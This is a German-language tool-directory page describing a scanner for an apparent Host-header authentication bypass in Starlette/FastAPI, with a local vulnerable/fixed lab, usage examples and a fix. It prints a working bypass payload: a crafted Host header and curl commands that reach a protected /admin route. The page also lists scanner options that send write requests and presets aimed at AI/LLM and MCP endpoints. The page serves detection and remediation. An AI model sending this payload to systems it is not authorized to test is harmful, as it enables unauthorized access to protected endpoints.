Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
BadHost-CVE-2026-48710-Exploit — Erkennungsscanner für CVE-2026-48710 - Host-Header-Authentifizierungsumgehung in Starlette/FastAPI | Kitploit
Tools/GitHubGitHub/bhanunamikaze/badhost-cve-2026-48710-exploit
Authentifizierung & AutorisierungSchwachstellenscannerExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsLabs & Praxis
GitHubbhanunamikaze/badhost-cve-2026-48710-exploit

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

BadHost-CVE-2026-48710-Exploit

Erkennungsscanner für CVE-2026-48710 - Host-Header-Authentifizierungsumgehung in Starlette/FastAPI

Repository anzeigen
15vor 3 MonatenNoch nicht geprüft

BadHost – CVE-2026-48710 Scanner

Nur-Erkennungs-Scanner für den BadHost-Authentifizierungsumgehungsangriff in Starlette / FastAPI – bei dem die Auth-Middleware request.url.path anstelle von request.scope["path"] liest, sodass ein präparierter Host-Header einen erlaubten Pfad einschleusen und die Authentifizierung umgehen kann.

root@kitploit:~
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sieht request.url.path == "/health" → erlaubt
# ASGI leitet immer noch an /admin weiter → umgangen

Betroffen: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Behoben in: Starlette 0.46.2+


Features

  • Ein vollständige URL übergeben (https://host/path) – Pfad wird automatisch als Sonde extrahiert
  • Lädt Endpunkte aus einer FastAPI/OpenAPI JSON- oder YAML-Spezifikation (Datei oder URL)
  • Erkennt automatisch nicht authentifizierte Pfade, die als Injektionskandidaten verwendet werden können
  • Testet sowohl Host- als auch X-Forwarded-Host-Träger, zwei Payload-Strategien
  • Integrierte Voreinstellungen für AI/LLM (--preset ai) und MCP (--preset mcp) Endpunkte
  • Ausgabe: Textzusammenfassung, --json, --csv
  • Live-Scan-Fortschritt auf stderr; keine Abhängigkeiten von Drittanbietern

Lokales angreifbares Labor (badhost_vuln_lab/)

Wird mit zwei FastAPI-Apps für die lokale Validierung ausgeliefert:

AppURLAuth liest
Angreifbarhttp://127.0.0.1:8000request.url.path – umgangen
Behobenhttp://127.0.0.1:8001request.scope["path"] – sicher
root@kitploit:~
cd badhost_vuln_lab
docker compose up --build

Oder ohne Docker:

root@kitploit:~
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001

Manueller Bypass-Test

root@kitploit:~
curl -i http://127.0.0.1:8000/admin                               # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin  # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin  # 403 — fixed

Installation

root@kitploit:~
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help   # Python 3.9+, no pip install needed

Verwendung

root@kitploit:~
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder

# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users

# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
  --protected POST:/api/checkout --protected GET:/api/cart

# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json

# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi ./openapi.json --openapi-methods all \
  --unsafe-allow-write --openapi-body-mode invalid

# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
  --openapi http://api.internal:8000/openapi.json

# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
  --openapi ./openapi.json --csv > results.csv

# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all

--openapi-body-mode invalid sendet {} für Schreibmethoden – löst nach dem Auth-Bypass FastAPI 422 aus, ohne den Endpunkt auszuführen. Ein baseline=403 test=422-Ergebnis ist dennoch ein SUSPECT-Fund, den es zu untersuchen lohnt.
Verwenden Sie --openapi-body-mode minimal nicht in der Produktion – es erstellt gültige Request-Bodies, die Schreibendpunkte ausführen könnten.


Bewertungen

Nur CONFIRMED und SUSPECT erscheinen in der Ausgabe. Exit-Code 2 = CONFIRMED, 1 = SUSPECT, 0 = sauber.


Behebung

root@kitploit:~
# Vulnerable
if request.url.path.startswith("/public"):
    ...

# Fixed
if request.scope["path"].startswith("/public"):
    ...

Upgrade auf Starlette 0.46.2+ / FastAPI 0.116.0+.


Nur für autorisierte Tests. Scannen Sie nur Systeme, die Sie besitzen oder für die Sie ausdrückliche Erlaubnis haben.

Tool herunterladen
BefundBedeutung
CONFIRMEDBasislinie 401/403 → Test 2xx. Angreifbar.
SUSPECTBasislinie 401/403 → Test 404/405/422. Auth-Gate scheint umgangen; manuell überprüfen. 422 von FastAPI ist besonders signifikant.
REJECTEDProxy hat fehlerhaften Host abgelehnt (400/421) vor dem Bypass
BLOCKEDPräparierter Request immer noch verweigert
OPENBereits ohne Authentifizierung zugänglich – nicht diese CVE